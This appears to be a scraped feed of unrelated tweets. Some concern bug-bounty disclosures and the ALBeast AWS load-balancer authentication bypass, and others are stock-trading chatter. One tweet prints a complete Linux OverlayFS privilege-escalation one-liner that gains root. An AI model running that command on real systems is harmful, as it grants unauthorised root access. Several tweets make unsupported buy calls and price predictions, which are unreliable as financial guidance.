SSRF + TLS rebinding! This must be one of my favorite web hacking technique in this year!

Yay! Apple Bounty! <3 iTunes.

Zomato disclosed a bug submitted by ZHacker: hackerone.com/reports/952501 - Bounty: $2,000 #hackerone #bugbounty

Zomato disclosed a bug submitted by ZHacker: hackerone.com/reports/838855 - Bounty: $2,000 #hackerone #bugbounty

Zomato disclosed a bug submitted by ZHacker: hackerone.com/reports/844428 - Bounty: $100 #hackerone #bugbounty

Zomato disclosed a bug submitted by ZHacker: hackerone.com/reports/836079 - Bounty: $2,000 #hackerone #bugbounty

Zomato disclosed a bug submitted by ZHacker: hackerone.com/reports/953203 - Bounty: $150 #hackerone #bugbounty

Exploit is so easy it fits in a tweet🔥 unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

🚨We could bypass authentication to thousands of applications by exploiting a configuration-based vulnerability in AWS ALB. Here’s everything you need to know about the #ALBeast vulnerability discovered by Miggo Security

1/ When the #ALBeast issue meets open-source - Story time about how discovering ALBeast led to finding two additional CVEs (2024-8901 & CVE-2024-10125) 🧵👇

4/ Check out our blog to read the full research: miggo.io/resources/migg…

If you don’t do anything at least buy $NVDA under $90 easiest money you’ll ever make.

Someone bought $1.3M of $SPY 510C earlier, they are now worth $33M LOL

🔴 Trump: We may buy ships from other nations.

🚨Trump isn’t scheduled to speak to the press today, but he may comment on China’s retaliation around 10:50 AM when he's departing the White House. There’s also a press briefing at 1 PM, where we might get more clarity on the administration’s next steps.

In case you're wondering, here's what the S&P did over the next few days

$SCNX operating exclusively in a market, with FDA approval. This should easily be $5

$MIST Milestone Receives FDA Approval of CARDAMYST™ (etripamil) as First and Only Self-Administered Nasal Spray for Adults with Paroxysmal Supraventricular Tachycardia (PSVT) • BioPharmCatalyst biopharmcatalyst.com/company/MIST/n…